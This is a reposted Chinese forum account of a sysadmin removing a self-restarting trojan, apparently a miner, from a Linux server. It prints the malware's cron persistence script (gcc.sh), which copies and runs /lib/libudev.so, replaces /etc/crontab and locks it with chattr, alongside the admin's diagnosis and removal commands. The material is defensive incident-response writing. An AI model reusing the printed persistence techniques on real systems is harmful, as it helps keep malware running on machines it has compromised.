声明一下哦,这篇文章并非小编本人所写的哦,是我在BT宝塔的论坛上转载过来的,因为这文章记录的非常好,也非常详细,转载呢?也是分享一下,也没有向原作者申请授权,如果原作者要发现了,不同意不授权的话,我会删除文章的,不过,原作者应该不会,我会原文章不动,不修改任何内容的转过来的。
服务器被挂马,相信不少运维或者站长是头疼的事情,我以前也清理过服务器挂马的事情,以前挂马都是拿来做肉机,跳板,DDOS......现在多了一个挖矿,拿肉机来挖比特币、以太币之类的虚拟货币。下面的内容是我在BT宝塔论坛上看到的网友的一次记录。
原文章链接:https://www.bt.cn/bbs/thread-12389-1-1.html
原作者:liang2580
原文章内容:
我今天上班午休的时候,一个朋友找我,说打开网站很慢,我访问了一下,不慢啊,后面我就去睡觉去了。睡醒之后我才发现了问题龌蹉。特征ps命令找不到进程,top能看到负载最高的一个程序是一个随机的10位字母的东西,kill掉之后自动再次出现一个随机10位字母的进程。
我此刻想想。龌蹉。这么难搞么? 我作为打不死的小强。我就不信了。执行一个命令。卡一下。朋友的机器是8核心16G的机器。
龌蹉。CPU跑到了百分之799 我说怎么这么卡。
这时候我想到一个问题居然是能自我开机启动,要么/etc/rc.d/{init.d,rc{1,2,3,4,5}.d}/下有启动脚本,要么有cron计划任务。
于是我发现crontab -l是正常,来到/etc/rc.d/init.d下发现了异常有10位字母的启动脚本,脚本内容如下
龌蹉。龌蹉 。一大坨的东西,吓死我了,那就随便查看一个吧。
[root@localhost rc6.d]# ls K15pure-ftpd K25nginx K50netconsole K79iprdump K80iprupdate K90ghpiscaobv K90kakaipdban K90olpcsfiisv K90srshvadwgl K90yhcbwmmbui K90zhwxkkocsx K25bt K36mysqld K50php-fpm-56 K80iprinit K90eyshcjdmzg K90jljpidvnbb K90network K90rlmqasojjo K90vnessxebzv K90ylvjsohrqi K90zpwtmltusi
这tmd 的什么鬼玩意。一脸懵逼
看到这我真是佩服这帮人单用户启动模式都不放过啊,尼玛,你这是赶尽杀绝啊。。。。。。。
到了这里我天真的删除了几个这样的启动脚本,然后重启服务器,问题依旧。。。。。。。。。你妹啊。。。不带这样玩的。。。。rc0-rc6 都中木马
我此刻的心都崩溃了
于是我又很傻很天真的删除了这些启动脚本,并且kill了相关进程,希望的太阳没有升起,沉重的打击再次来临,木马再次自我复制自我运行了。。。。启动脚本再次出现了。。
我知道我进入了误区,重新想思路。。。
不知道为什么我瞬间想到了我遗漏了一个地方,cron,对。。。我是crontab -l 来查看的,还有个地方的cron任务不会在这个命令下出现/etc/cron.*
root@Xd9BdoAkG ~]# cat /etc/crontab SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root HOME=/ # For details see man 4 crontabs # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed */3 * * * * root /etc/cron.hourly/gcc.sh
你妹啊 啊 啊 啊,不带这样玩的
[root@Xd9BdoAkG ~]# cat /etc/cron.hourly/gcc.sh #!/bin/sh PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done cp /lib/libudev.so /lib/libudev.so.6 /lib/libudev.so.6
mv /etc/crontab /etc/crontab2 echo "" >/etc/crontab && chattr +i /etc/crontab mv /etc/cron.hourly/gcc.sh /etc/cron.hourly/gcc2.sh && rm -rf /etc/cron.hourly/gcc.sh
[root@Xd9BdoAkG ~]# cat /proc/net/dev|grep :|awk -F: {'print $1'} lo em1 em2 em3 em4
我擦,看到这,再次shit,你还知道主动启动网络和外面联系啊。。。。
[root@Xd9BdoAkG ~]# file /lib/libudev.so /lib/libudev.so: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
居然不是脚本什么的,想看文件具体内容暂时是没时间了。。。。。。。
到了这里我们可以确认有几个地方有问题/lib/libudev.so /etc/cron.hourly/gcc.sh /etc/crontab /etc/rc.d/init.d/ /etc/rc.d/rc3.d/
由于对方发送大量数据包,所以开始采取iptables来封禁,发现这玩意直接把output是 state 为new的drop掉。。。。。。。。不想说了,已经被他玩够了,不在乎多一次。。
通过排查可以肯定/lib/libudev.so是主体。其他是协助运行和自我保护自我复制的实现。既然你是个程序还在系统上,我有root,还搞不定么。为了不再多拖时间,直接查杀了。。
[root@Xd9BdoAkG ~]# chmod 0000 /lib/libudev.so && rm -rf /lib/libudev.so && chattr +i /lib/
到了这里基本就差不多了。。。。。现在去重启服务器,
[root@Xd9BdoAkG ~]# top -b -n1 | head top - 18:13:47 up 0 min, 1 user, load average: 0.11, 0.03, 0.01 Tasks: 178 total, 2 running, 176 sleeping, 0 stopped, 0 zombie Cpu(s): 1.4%us, 1.6%sy, 0.0%ni, 95.7%id, 1.3%wa, 0.0%hi, 0.0%si, 0.0%st Mem: 32827160k total, 486308k used, 32340852k free, 6864k buffers Swap: 16482300k total, 0k used, 16482300k free, 28312k cached
文章到这里也结束了,不知道原作者的一个流程有没有让你有一个查杀起到帮助呢?你有没有别的一个新的查杀思路呢?不妨留下你的留言。